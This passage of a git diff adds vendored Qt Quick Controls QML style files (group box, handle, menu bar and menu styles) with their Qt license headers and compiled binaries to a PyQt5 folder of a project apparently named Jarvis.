tickmarkTextRepeaterDelegate + + x: { + if (control.orientation === Qt.Horizontal) { + return parent.width / 2 - width / 2; + } + + return control.__tickmarkAlignment === Qt.AlignRight || control.__tickmarkAlignment === Qt.AlignBottom + ? 0 + : parent.width - width; + } + + transform: Rotation { + axis.x: 1 + axis.y: 0 + axis.z: 0 + origin.x: tickmarkTextRepeaterDelegate.width / 2 + origin.y: tickmarkTextRepeaterDelegate.height / 2 + angle: 180 + } + + sourceComponent: tickmarkLabel + + readonly property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: tickmarkTextRepeaterDelegate.__index + readonly property real value: markerTextFromPos(index / (tickmarkTextRepeater.count - 1)) + } + } + } + } + } + } + Loader { + id: foregroundLoader + sourceComponent: foreground + anchors.fill: valueBarItem + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qmlc new file mode 100644 index 00000000..d2fc21d9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GaugeStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qml new file mode 100644 index 00000000..061a8069 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qml @@ -0,0 +1,143 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype GroupBoxStyle + \internal + \inqmlmodule QtQuick.Controls.Styles + \ingroup controlsstyling + \since 5.1 +*/ +Style { + + /*! The \l GroupBox this style is attached to. */ + readonly property GroupBox control: __control + + /*! The margin from the content item to the groupbox. */ + padding { + top: (control.title.length > 0 || control.checkable ? TextSingleton.implicitHeight : 0) + 10 + left: 8 + right: 8 + bottom: 6 + } + + /*! The title text color. */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! The check box. */ + property Component checkbox: Item { + implicitWidth: 18 + implicitHeight: 18 + BorderImage { + anchors.fill: parent + source: "images/editbox.png" + border.top: 6 + border.bottom: 6 + border.left: 6 + border.right: 6 + } + Rectangle { + height: 16 + width: 16 + antialiasing: true + visible: control.checked + color: "#666" + radius: 1 + anchors.margins: 4 + anchors.fill: parent + anchors.topMargin: 3 + anchors.bottomMargin: 5 + border.color: "#222" + opacity: control.enabled ? 1 : 0.5 + Rectangle { + anchors.fill: parent + anchors.margins: 1 + color: "transparent" + border.color: "#33ffffff" + } + } + BorderImage { + anchors.fill: parent + anchors.margins: -1 + source: "images/focusframe.png" + visible: control.activeFocus + border.left: 4 + border.right: 4 + border.top: 4 + border.bottom: 4 + } + } + + /*! The groupbox frame. */ + property Component panel: Item { + anchors.fill: parent + Loader { + id: checkboxloader + anchors.left: parent.left + sourceComponent: control.checkable ? checkbox : null + anchors.verticalCenter: label.verticalCenter + width: item ? item.implicitWidth : 0 + } + + Text { + id: label + anchors.top: parent.top + anchors.left: checkboxloader.right + anchors.margins: 4 + text: control.title + color: textColor + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + BorderImage { + anchors.fill: parent + anchors.topMargin: padding.top - 7 + source: "images/groupbox.png" + border.left: 4 + border.right: 4 + border.top: 4 + border.bottom: 4 + visible: !control.flat + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qmlc new file mode 100644 index 00000000..a92fe66d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/GroupBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qml new file mode 100644 index 00000000..0713c9ff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 + +Style { + id: handleStyle + property alias handleColorTop: __helper.handleColorTop + property alias handleColorBottom: __helper.handleColorBottom + property alias handleColorBottomStop: __helper.handleColorBottomStop + + HandleStyleHelper { + id: __helper + } + + property Component handle: Item { + implicitWidth: 50 + implicitHeight: 50 + + Canvas { + id: handleCanvas + anchors.fill: parent + + onPaint: { + var ctx = getContext("2d"); + __helper.paintHandle(ctx); + } + } + } + + property Component panel: Item { + Loader { + id: handleLoader + sourceComponent: handle + anchors.fill: parent + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qmlc new file mode 100644 index 00000000..2dff1750 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qml new file mode 100644 index 00000000..78059bfe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +QtObject { + id: handleStyleHelper + + property color handleColorTop: "#969696" + property color handleColorBottom: Qt.rgba(0.9, 0.9, 0.9, 0.298) + property real handleColorBottomStop: 0.7 + + property color handleRingColorTop: "#b0b0b0" + property color handleRingColorBottom: "transparent" + + /*! + If \a ctx is the only argument, this is equivalent to calling + paintHandle(\c ctx, \c 0, \c 0, \c ctx.canvas.width, \c ctx.canvas.height). + */ + function paintHandle(ctx, handleX, handleY, handleWidth, handleHeight) { + ctx.reset(); + + if (handleWidth < 0) + return; + + if (arguments.length == 1) { + handleX = 0; + handleY = 0; + handleWidth = ctx.canvas.width; + handleHeight = ctx.canvas.height; + } + + ctx.beginPath(); + var gradient = ctx.createRadialGradient(handleX, handleY, 0, + handleX, handleY, handleWidth * 1.5); + gradient.addColorStop(0, handleColorTop); + gradient.addColorStop(handleColorBottomStop, handleColorBottom); + ctx.ellipse(handleX, handleY, handleWidth, handleHeight); + ctx.fillStyle = gradient; + ctx.fill(); + + /* Draw the ring gradient around the handle. */ + // Clip first, so we only draw inside the ring. + ctx.beginPath(); + ctx.ellipse(handleX, handleY, handleWidth, handleHeight); + ctx.ellipse(handleX + 2, handleY + 2, handleWidth - 4, handleHeight - 4); + ctx.clip(); + + ctx.beginPath(); + gradient = ctx.createLinearGradient(handleX + handleWidth / 2, handleY, + handleX + handleWidth / 2, handleY + handleHeight); + gradient.addColorStop(0, handleRingColorTop); + gradient.addColorStop(1, handleRingColorBottom); + ctx.ellipse(handleX, handleY, handleWidth, handleHeight); + ctx.fillStyle = gradient; + ctx.fill(); + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qmlc new file mode 100644 index 00000000..3a116ee3 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/HandleStyleHelper.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qml new file mode 100644 index 00000000..ade34b0a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qml @@ -0,0 +1,131 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype MenuBarStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.3 + \ingroup controlsstyling + \brief Provides custom styling for MenuBar. + + \note Styling menu bars may not be supported on platforms using native menu bars + through their QPA plugin. +*/ + +Style { + id: root + + /*! + \qmlmethod string MenuBarStyle::formatMnemonic(string text, bool underline = false) + Returns a formatted string to render mnemonics for a given menu item \a text. + + The mnemonic character is prefixed by an ampersand in the original string. + + Passing \c true for \e underline will underline the mnemonic character (e.g., + \c formatMnemonic("&File", true) will return \c "File"). Passing \c false + for \a underline will return the plain text form (e.g., \c formatMnemonic("&File", false) + will return \c "File"). + + \sa Label + */ + function formatMnemonic(text, underline) { + return underline ? StyleHelpers.stylizeMnemonics(text) : StyleHelpers.removeMnemonics(text) + } + + /*! The background for the full menu bar. + + The background will be extended to the full containing window width. + Its height will always fit all of the menu bar items. The final size + will include the paddings. + */ + property Component background: Rectangle { + color: "#dcdcdc" + implicitHeight: 20 + } + + /*! The menu bar item. + + \target styleData properties + This item has to be configured using the \b styleData object which is in scope, + and contains the following read-only properties: + \table + \row \li \b {styleData.index} : int \li The index of the menu item in its menu. + \row \li \b {styleData.selected} : bool \li \c true if the menu item is selected. + \row \li \b {styleData.open} : bool \li \c true when the pull down menu is open. + \row \li \b {styleData.text} : string \li The menu bar item's text. + \row \li \b {styleData.underlineMnemonic} : bool \li When \c true, the style should underline the menu item's label mnemonic. + \endtable + + */ + property Component itemDelegate: Rectangle { + implicitWidth: text.width + 12 + implicitHeight: text.height + 4 + color: styleData.enabled && styleData.open ? "#49d" : "transparent" + + Text { + id: text + font: root.font + text: formatMnemonic(styleData.text, styleData.underlineMnemonic) + anchors.centerIn: parent + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + color: styleData.open ? "white" : SystemPaletteSingleton.windowText(control.enabled && styleData.enabled) + } + } + + /*! The style component for the menubar's own menus and their submenus. + + \sa {MenuStyle} + */ + property Component menuStyle: MenuStyle { + font: root.font + } + + /*! + \since QtQuick.Controls.Styles 1.3 + The font of the control. + */ + property font font + + /*! \internal */ + property bool __isNative: true +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qmlc new file mode 100644 index 00000000..d193fe0c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qml new file mode 100644 index 00000000..f40e0af7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qml @@ -0,0 +1,477 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Window 2.1 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype MenuStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.3 + \ingroup controlsstyling + \brief Provides custom styling for Menu. + + \target styleData properties + The \b styleData object contains the following read-only properties: + \table + \row \li \b {styleData.index} : int \li The index of the menu item in its menu. + \row \li \b {styleData.type} : enumeration \li The type of menu item. See below for possible values. + \row \li \b {styleData.selected} : bool \li \c true if the menu item is selected. + \row \li \b {styleData.pressed} : bool \li \c true if the menu item is pressed. Available since 5.4. + \row \li \b {styleData.text} : string \li The menu item's text, or title if it's a submenu. + \row \li \b {styleData.underlineMnemonic} : bool \li Whether the style should underline the menu item's label mnemonic. + \row \li \b {styleData.shortcut} : string \li The text for the menu item's shortcut. + \row \li \b {styleData.iconSource} : url \li The source URL to the menu item's icon. Undefined if it has no icon. + \row \li \b {styleData.enabled} : bool \li \c true if the menu item is enabled. + \row \li \b {styleData.checkable} : bool \li \c true if the menu item is checkable. + \row \li \b {styleData.exclusive} : bool \li \c true if the menu item is checkable, and it's part of an \l ExclusiveGroup. + \row \li \b {styleData.checked} : bool \li \c true if the menu item is checkable and currently checked. + \row \li \b {styleData.scrollerDirection} : enumeration \li If the menu item is a scroller, its pointing direction. + Valid values are \c Qt.UpArrow, \c Qt.DownArrow, and \c Qt.NoArrow. + \endtable + + The valid values for \b {styleData.type} are: + \list + \li MenuItemType.Item + \li MenuItemType.Menu + \li MenuItemType.Separator + \li MenuItemType.ScrollIndicator + \endlist + + \note Styling menus may not be supported on platforms using native menus + through their QPA plugin. +*/ + +Style { + id: styleRoot + + padding { + top: 1 + bottom: 1 + left: 1 + right: 1 + } + + /*! The amount of pixels by which a submenu popup overlaps horizontally its parent menu. */ + property int submenuOverlap: 1 + + /*! The number of milliseconds to wait before opening a submenu. */ + property int submenuPopupDelay: 200 + + /*! + \qmlmethod string MenuStyle::formatMnemonic(string text, bool underline = false) + Returns a rich-text string to render mnemonics for a given menu item \a text. + + The mnemonic character is prefixed by an ampersand in the original string. + + Passing \c true for \a underline will underline the mnemonic character (e.g., + \c formatMnemonic("&Open...", true) will return \c "Open..."). Passing \c false + for \a underline will return the plain text form (e.g., \c formatMnemonic("&Open...", false) + will return \c "Open..."). + + \sa Label + */ + function formatMnemonic(text, underline) { + return underline ? StyleHelpers.stylizeMnemonics(text) : StyleHelpers.removeMnemonics(text) + } + + /*! The background frame for the menu popup. + + The \l Menu will resize the frame to its contents plus the padding. + */ + property Component frame: Rectangle { + color: styleRoot.__backgroundColor + border { width: 1; color: styleRoot.__borderColor } + } + + /*! \qmlproperty Object MenuStyle::itemDelegate + + The object containing the menu item subcontrol components. These subcontrols are used + for normal menu items only, i.e. not for separators or scroll indicators. + + The subcontrols are: + + \list + \li \b {itemDelegate.background} : Component + + The menu item background component. + + Its appearance generally changes with \l {styleData properties} {styleData.selected} + and \l {styleData properties} {styleData.enabled}. + + The default implementation shows only when the item is enabled and selected. It remains + invisible otherwise. + + \li \b {itemDelegate.label} : Component + + Component for the actual text label. + + The text itself is fetched from \l {styleData properties} {styleData.text}, and its appearance should depend + on \l {styleData properties} {styleData.enabled} and \l {styleData properties} {styleData.selected}. + + If \l {styleData properties} {styleData.underlineMnemonic} is true, the label should underline its mnemonic + character. \l formatMnemonic provides the default formatting. + + \li \b {itemDelegate.submenuIndicator} : Component + + It indicates that the current menu item is a submenu. + + Only used when \l {styleData properties} {styleData.type} equals \c MenuItemType.Menu. + + \li \b {itemDelegate.shortcut} : Component + + Displays the shortcut attached to the menu item. + + Only used when \l {styleData properties} {styleData.shortcut} is not empty. + + \li \b {itemDelegate.checkmarkIndicator} : Component + + Will be used when \l {styleData properties} {styleData.checkable} is \c true and its appearance + may depend on \l {styleData properties} {styleData.exclusive}, i.e., whether it will behave like a + checkbox or a radio button. Use \l {styleData properties} {styleData.checked} for the checked state. + \endlist + + \note This property cannot be overwritten although all of the subcontrol properties can. + */ + property alias itemDelegate: internalMenuItem + + MenuItemSubControls { + id: internalMenuItem + + background: Rectangle { + visible: styleData.selected && styleData.enabled + gradient: Gradient { + id: selectedGradient + GradientStop { color: Qt.lighter(__selectedBackgroundColor, 1.3); position: -0.2 } + GradientStop { color: __selectedBackgroundColor; position: 1.4 } + } + + border.width: 1 + border.color: Qt.darker(__selectedBackgroundColor, 1) + antialiasing: true + } + + label: Text { + text: formatMnemonic(styleData.text, styleData.underlineMnemonic) + color: __currentTextColor + font: styleRoot.font + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + submenuIndicator: Text { + text: __mirrored ? "\u25c2" : "\u25b8" // BLACK LEFT/RIGHT-POINTING SMALL TRIANGLE + font: styleRoot.font + color: __currentTextColor + style: styleData.selected ? Text.Normal : Text.Raised + styleColor: Qt.lighter(color, 4) + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + shortcut: Text { + text: styleData.shortcut + font { + bold: styleRoot.font.bold + capitalization: styleRoot.font.capitalization + family: styleRoot.font.family + italic: styleRoot.font.italic + letterSpacing: styleRoot.font.letterSpacing + pixelSize: styleRoot.font.pixelSize * 0.9 + strikeout: styleRoot.font.strikeout + underline: styleRoot.font.underline + weight: styleRoot.font.weight + wordSpacing: styleRoot.font.wordSpacing + } + color: __currentTextColor + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + + checkmarkIndicator: Loader { + sourceComponent: styleData.exclusive ? exclusiveCheckMark : nonExclusiveCheckMark + Component { + id: exclusiveCheckMark + Rectangle { + x: 1 + width: 10 + height: 10 + color: "white" + border.color: "gray" + antialiasing: true + radius: height/2 + + Rectangle { + anchors.centerIn: parent + visible: styleData.checked + width: 4 + height: 4 + color: "#666" + border.color: "#222" + antialiasing: true + radius: height/2 + } + } + } + + Component { + id: nonExclusiveCheckMark + BorderImage { + width: 12 + height: 12 + source: "images/editbox.png" + border.top: 6 + border.bottom: 6 + border.left: 6 + border.right: 6 + + Rectangle { + antialiasing: true + visible: styleData.checked + color: "#666" + radius: 1 + anchors.margins: 4 + anchors.fill: parent + border.color: "#222" + Rectangle { + anchors.fill: parent + anchors.margins: 1 + color: "transparent" + border.color: "#33ffffff" + } + } + } + } + } + } + + /*! Component for the separator menu item. + + Will be used when \l {styleData properties} {styleData.type} equals \c MenuItemType.Separator. + */ + property Component separator: Item { + implicitHeight: styleRoot.font.pixelSize / 2 + Rectangle { + width: parent.width - 2 + height: 1 + x: 1 + anchors.verticalCenter: parent.verticalCenter + color: "darkgray" + } + } + + /*! Component for the scroll indicator menu item. + + Will be used when \l {styleData properties} {styleData.type} equals \c MenuItemType.ScrollIndicator. + Its appearance should follow \l {styleData properties} {styleData.scrollerDirection}. + + This is the item added at the top and bottom of the menu popup when its contents won't fit the screen + to indicate more content is available in the direction of the arrow. + */ + property Component scrollIndicator: Image { + anchors.centerIn: parent + source: styleData.scrollerDirection === Qt.UpArrow ? "images/arrow-up.png" : "images/arrow-down.png" + } + + /*! + \since QtQuick.Controls.Styles 1.3 + The font of the control. + */ + property font font + + /*! \internal */ + property string __menuItemType: "menuitem" + + /*! \internal + The menu popup frame background color. + + This is set to be a uniform background. If you want a gradient or a pixmap, + you should override \l frame. + + \sa frame, borderColor + */ + property color __backgroundColor: "#dcdcdc" + + /*! \internal + The menu popup frame border color. + + The border width is set to 1 pixel. Override \l frame if you want a larger border. + + \sa frame, backgroundColor + */ + property color __borderColor: "darkgray" + + /*! \internal + The maximum height for a popup before it will show scrollers. + */ + property int __maxPopupHeight: 600 + + /*! \internal + The menu item background color when selected. + + This property is provided for convenience and only sets the color. + It does not change the style in any other way. + */ + property color __selectedBackgroundColor: "#49d" + + /*! \internal + The menu item label color. + + When set, keyboard shorcuts get the same color as the item's text. + + \sa selectedLabelColor, disabledLabelColor + */ + property color __labelColor: "#444" + + /*! \internal + The menu item label color when selected. + + \sa labelColor, selectedLabelColor + */ + property color __selectedLabelColor: "white" + + /*! \internal + The menu item label color when disabled. + + \sa labelColor, disabledLabelColor + */ + property color __disabledLabelColor: "gray" + + + /*! \internal */ + readonly property bool __mirrored: Qt.application.layoutDirection === Qt.RightToLeft + + /*! \internal + The margin between the frame and the menu item label's left side. + + Generally, this should be large enough to fit optional checkmarks on + the label's left side. + */ + property int __leftLabelMargin: 18 + + /*! \internal + The margin between the menu item label's right side and the frame. */ + property int __rightLabelMargin: 12 + + /*! \internal + The minimum spacing between the menu item label's text right side and any + element located on its right (submenu indicator or shortcut). + */ + property int __minRightLabelSpacing: 28 + + /*! \internal */ + property Component __scrollerStyle: null + + /*! \internal + The menu item contents itself. + + The default implementation uses \l MenuItemStyle. + */ + property Component menuItemPanel: Item { + id: panel + + property QtObject __styleData: styleData + /*! \internal + The current color of the text label. + + Use this if you're overriding e.g. \l shortcutIndicator to keep the color matched + with \l label, or to derive new colors from it. + */ + property color currentTextColor: !styleData.enabled ? __disabledLabelColor : + styleData.selected ? __selectedLabelColor : __labelColor + + implicitWidth: Math.max((parent ? parent.width : 0), + Math.round(__leftLabelMargin + labelLoader.width + __rightLabelMargin + + (rightIndicatorLoader.active ? __minRightLabelSpacing + rightIndicatorLoader.width : 0))) + implicitHeight: Math.round(styleData.type === MenuItemType.Separator ? separatorLoader.implicitHeight : + !!styleData.scrollerDirection ? styleRoot.font.pixelSize * 0.75 : labelLoader.height + 4) + + Loader { + property alias styleData: panel.__styleData + property alias __currentTextColor: panel.currentTextColor + anchors.fill: parent + sourceComponent: itemDelegate.background + } + + Loader { + id: separatorLoader + property alias styleData: panel.__styleData + property alias __currentTextColor: panel.currentTextColor + anchors.fill: parent + sourceComponent: separator + active: styleData.type === MenuItemType.Separator + } + + Loader { + property alias styleData: panel.__styleData + property alias __currentTextColor: panel.currentTextColor + x: __mirrored ? parent.width - width - 4 : 4 + anchors.verticalCenterOffset: -1 + anchors.verticalCenter: parent.verticalCenter + active: __menuItemType === "menuitem" && styleData.checkable + sourceComponent: itemDelegate.checkmarkIndicator + } + + Loader { + id: labelLoader + readonly property real offset: __menuItemType === "menuitem" ? __leftLabelMargin : 6 + property alias styleData: panel.__styleData + property alias __currentTextColor: panel.currentTextColor + x: __mirrored ? parent.width - width - offset : offset + y: 1 + active: styleData.type !== MenuItemType.Separator + sourceComponent: itemDelegate.label + baselineOffset: item ? item.baselineOffset : 0.0 + } + + Loader { + id: rightIndicatorLoader + property alias styleData: panel.__styleData + property alias __currentTextColor: panel.currentTextColor + active: styleData.type === MenuItemType.Menu || styleData.shortcut !== "" + sourceComponent: styleData.type === MenuItemType.Menu ? itemDelegate.submenuIndicator : itemDelegate.shortcut + LayoutMirroring.enabled: __mirrored + baselineOffset: item ? item.baselineOffset : 0.0 + anchors { + right: parent.right + rightMargin: 6 + baseline: !styleData.isSubmenu ? labelLoader.baseline : undefined + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qmlc new file mode 100644 index 00000000..b06fba7a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/MenuStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/PieMenuStyle.qml 